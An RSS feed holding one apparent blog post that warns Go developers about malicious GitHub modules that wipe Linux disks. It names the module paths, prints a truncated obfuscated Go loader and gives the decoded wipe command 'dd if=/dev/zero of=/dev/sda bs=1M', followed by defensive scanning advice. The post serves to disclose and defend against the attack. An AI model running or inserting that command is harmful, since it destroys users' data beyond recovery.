<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: alper</title>
    <description>The latest articles on DEV Community by alper (@alper1438).</description>
    <link>https://dev.to/alper1438</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2978939%2F49694866-0124-4823-bcbd-746a82b67ac7.png</url>
      <title>DEV Community: alper</title>
      <link>https://dev.to/alper1438</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/alper1438"/>
    <language>en</language>
    <item>
      <title>Don’t Run That Go Module: The Malware That Wipes Your Linux Disk</title>
      <dc:creator>alper</dc:creator>
      <pubDate>Sun, 11 May 2025 16:53:54 +0000</pubDate>
      <link>https://dev.to/alper1438/dont-run-that-go-module-the-malware-that-wipes-your-linux-disk-2cgj</link>
      <guid>https://dev.to/alper1438/dont-run-that-go-module-the-malware-that-wipes-your-linux-disk-2cgj</guid>
      <description>&lt;p&gt;Recently, malicious software was discovered in Go packages hosted on GitHub. This malware has the ability to &lt;strong&gt;completely destroy your Linux system&lt;/strong&gt;. Let's look at what happened and how we can protect ourselves.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Happened?
&lt;/h2&gt;

&lt;p&gt;In &lt;strong&gt;April 2025&lt;/strong&gt;, a &lt;strong&gt;supply chain attack&lt;/strong&gt; targeted the Go ecosystem. Attackers published fake but convincing modules with malicious code to GitHub:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/truthfulpharm/prototransform" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/truthfulpharm/prototransform&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/blankloggia/go-mcp" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/blankloggia/go-mcp&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/steelpoor/tlsproxy" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/steelpoor/tlsproxy&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attackers carefully crafted these package names to appear trustworthy at a glance, significantly increasing the chance of accidental inclusion in real development projects.&lt;/p&gt;

&lt;p&gt;Once the malicious code is activated, it executes commands that systematically write zeroes across** every byte of the primary storage device**, making data recovery nearly impossible.&lt;/p&gt;

&lt;p&gt;To hide the malicious intent, the attackers used a technique called obfuscation, as seen in the code snippet below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;func eGtROk() error {
    DmM := []string{"4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "..."}
    pBRPhsxN := runtime.GOOS == "linux"
    bcbGOM := "/bin/sh"
    vpqIU := "-c"
    PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + ...
    if pBRPhsxN {
        exec.Command(bcbGOM, vpqIU, PWcf).Start()
    }
    return nil
}
var GEeEQNj = eGtROk()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When imported and executed, this code runs a destructive Bash command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd if=/dev/zero of=/dev/sda bs=1M&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Is This So Dangerous?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;This is not a vulnerability — it’s destructive malware.&lt;/li&gt;
&lt;li&gt;The malicious payload is hidden inside Go code with deceptively legitimate module names.&lt;/li&gt;
&lt;li&gt;It targets Linux systems only, checking the OS before executing.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How Can You Stay Safe as a Go Developer?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Always verify module sources:&lt;/strong&gt;
Use official sources or verified maintainers. Random GitHub modules with few stars or forks should raise red flags.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run govulncheck regularly:&lt;/strong&gt;
Go’s official vulnerability scanner helps detect known issues.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Scan your dependencies with external tools:&lt;/strong&gt;
Tools like OSV-Scanner or Dependabot can help detect dangerous packages early.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Have Thoughts or Questions?
&lt;/h2&gt;

&lt;p&gt;If you have suggestions or questions, feel free to drop a comment.&lt;br&gt;
Thanks for reading — stay safe! &lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://cybersecuritynews.com/hackers-weaponizing-go-modules/?utm_source=chatgpt.com" rel="noopener noreferrer"&gt;cybersecuritynews.com/hackers-weaponizing-go-modules&lt;/a&gt;&lt;br&gt;
&lt;a href="https://go.dev/doc/tutorial/govulncheck" rel="noopener noreferrer"&gt;go.dev/doc/tutorial/govulncheck&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>go</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
